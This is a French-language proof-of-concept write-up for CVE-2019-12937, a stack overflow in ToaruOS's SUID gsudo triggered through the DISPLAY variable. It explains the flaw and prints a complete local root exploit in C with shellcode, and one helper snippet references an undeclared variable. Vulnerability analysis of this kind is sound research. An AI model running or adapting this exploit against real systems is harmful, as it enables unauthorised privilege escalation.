
Exploit de preuve de concept pour CVE-2019-12937, un débordement de tampon dans le binaire SUID gsudo de ToaruOS permettant une élévation de privilèges locale vers root via une variable d'environnement DISPLAY contrefaite.
ToaruOS est un système d'exploitation open source écrit en C, développé comme un projet amateur par un étudiant en informatique de l'Université de l'Illinois. ToaruOS fonctionne sur les architectures POSIX et x86. Ses fonctionnalités principales incluent le support des processus et threads, des binaires ELF, des modules chargés dynamiquement, des tubes (pipe) et divers types de terminaux (TTY), un système de fichiers virtuel, le support du système de fichiers EXT2, la gestion des sémaphores, etc.
Le fichier apps/gsudo.c de gsudo dans ToaruOS 1.10.9 et versions antérieures contient une vulnérabilité de débordement de tampon. Un attaquant peut exploiter cette vulnérabilité via la variable d'environnement DISPLAY pour élever ses privilèges à root.
Copiez le fichier poc.c dans le système ToaruOS, puis exécutez dans le répertoire de copie :
gcc -o poc poc.c
./poc
Dans la fonction pex_connect, la chaîne est concaténée avec sprintf sans vérifier la longueur du paramètre target. Lorsque target est trop long, cela provoque un débordement de pile.
FILE * pex_connect(char * target) {
char tmp[100];
sprintf(tmp, "/dev/pex/%s", target);
FILE * out = fopen(tmp, "r+");
if (out) {
setbuf(out, NULL);
}
return out;
}
Le paramètre target est la valeur de la variable d'environnement DISPLAY.
yutani_t * yutani_init(void) {
char * server_name = getenv("DISPLAY");
if (!server_name) {
server_name = "compositor";
}
FILE * c = pex_connect(server_name);
if (!c) {
return NULL; /* Connection failed. */
}
......
......
}
Le programme gsudo appelle la fonction yutani_init. gsudo est un programme avec le bit SUID, donc il s'exécute avec les privilèges root. On peut exploiter le débordement ci-dessus pour élever les privilèges.
int main(int argc, char ** argv) {
if (argc < 2) {
return 1;
}
yctx = yutani_init();
....
....
}
Les programmes SUID possèdent les permissions s et t. Cela permet aux utilisateurs ordinaires d'exécuter temporairement un programme avec les droits de son propriétaire.
Test du processus d'exécution d'un programme SUID :
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void main()
{
int res;
res = setuid(0);
printf("%d\n",res);
system("/bin/sh");
}
La fonction setuid définit l'identité de l'utilisateur courant. Lorsque le paramètre est 0, le processus courant devient root. Après avoir appelé setuid, on exécute un shell et on observe l'utilisateur courant.
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ gcc -o setuid setuid.c
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ ./setuid
-1
$ whoami
akashic
$ exit
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ sudo chown root ./setuid
[sudo] password for akashic:
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ sudo chmod u+s ./setuid
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ ./setuid
0
# whoami
root
# exit
Dans ToaruOS, après le démarrage du système, tous les programmes sont chargés via fork puis exec_elf. Les privilèges du programme sont ceux du processus parent. Lorsqu'un programme a le bit setuid, les privilèges du processus sont définis sur ceux du propriétaire du fichier.
Le débordement se produit dans un programme avec le bit SUID, donc on peut utiliser le débordement de pile pour une élévation de privilèges.
ToaruOS n'a pas d'ASLR pour la pile ou le tas, ni de protection contre l'exécution de la pile. L'exploitation est donc assez simple, mais il n'y a pas d'outils comme gdb, ce qui demande un peu plus d'effort.
On contrôle l'EIP via le débordement de pile pour le rediriger vers l'adresse de notre payload d'élévation. La pile est exécutable et son adresse est fixe. On place le payload sur la pile via la variable environ. Les adresses de argv et environ sont affichées directement.
#include <stdio.h>
extern char **environ;
void main(int argc, char *argv[])
{
printf("argv:%x\t\t\n",argv);
printf("environ:%x\t\n",env);
return 0;
}
Résultat :
argv: 3f00c00c
environ: 3f022010
On définit la valeur de la variable d'environnement, on contrôle la valeur d'EIP pour qu'elle se situe entre argv et environ. L'adresse de l'EIP ne doit pas contenir le caractère \x00. On la contourne en remplissant avec des instructions NOP.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define EIP "\xb0\xb0\x01\x3f"
#define EIP_DISTANCE 25U
char shellcode[] = {
0x31, 0xc0, 0x04, 0x18, 0x31, 0xdb, 0xcd, 0x7f, 0xeb, 0x1a, 0x5b, 0x31,
0xc0, 0x88, 0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c, 0x04, 0x07,
0x8d, 0x4b, 0x08, 0x8d, 0x53, 0x0c, 0xcd, 0x7f, 0x31, 0xc0, 0xcd, 0x7f,
0xe8, 0xe1, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68,
0x68, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x00
};
unsigned int shellcode_length = 57;
int main(void)
{
char payload[65536];
char vector[8192] = "DISPLAY=Akashic";
char * const arg[3] = { "/bin/gsudo", "meh", NULL };
char * const env[3] = { payload, vector, NULL };
memset(payload, 'A', sizeof(payload) - shellcode_length - 1);
payload[sizeof(payload) - shellcode_length - 1] = 0;
strcat(payload, shellcode);
for (unsigned int i = 0; i < EIP_DISTANCE; i++)
strcat(vector, EIP);
execve("/bin/gsudo", arg, env);
perror("execve()");
exit(EXIT_FAILURE);
}
Dans le payload, on exécute d'abord setuid(0) pour définir les privilèges du processus courant, puis system("/bin/shh") pour obtenir un shell. ToaruOS utilise int 0x7f pour les appels système. Les numéros d'appels système se trouvent dans syscall_nums.h ; setuid correspond à 24, system à 7.
xor eax, eax
add al, 24
xor ebx, ebx
int 0x7f
jmp short end
start:
pop ebx
xor eax, eax
mov [ebx+7], al
mov [ebx+8], ebx
mov [ebx+12], eax
add al, 7
lea ecx, [ebx+8]
lea edx, [ebx+12]
int 0x7f
xor eax, eax
int 0x7f
end:
call start
db "/bin/shh"
db "XXXXXXXX"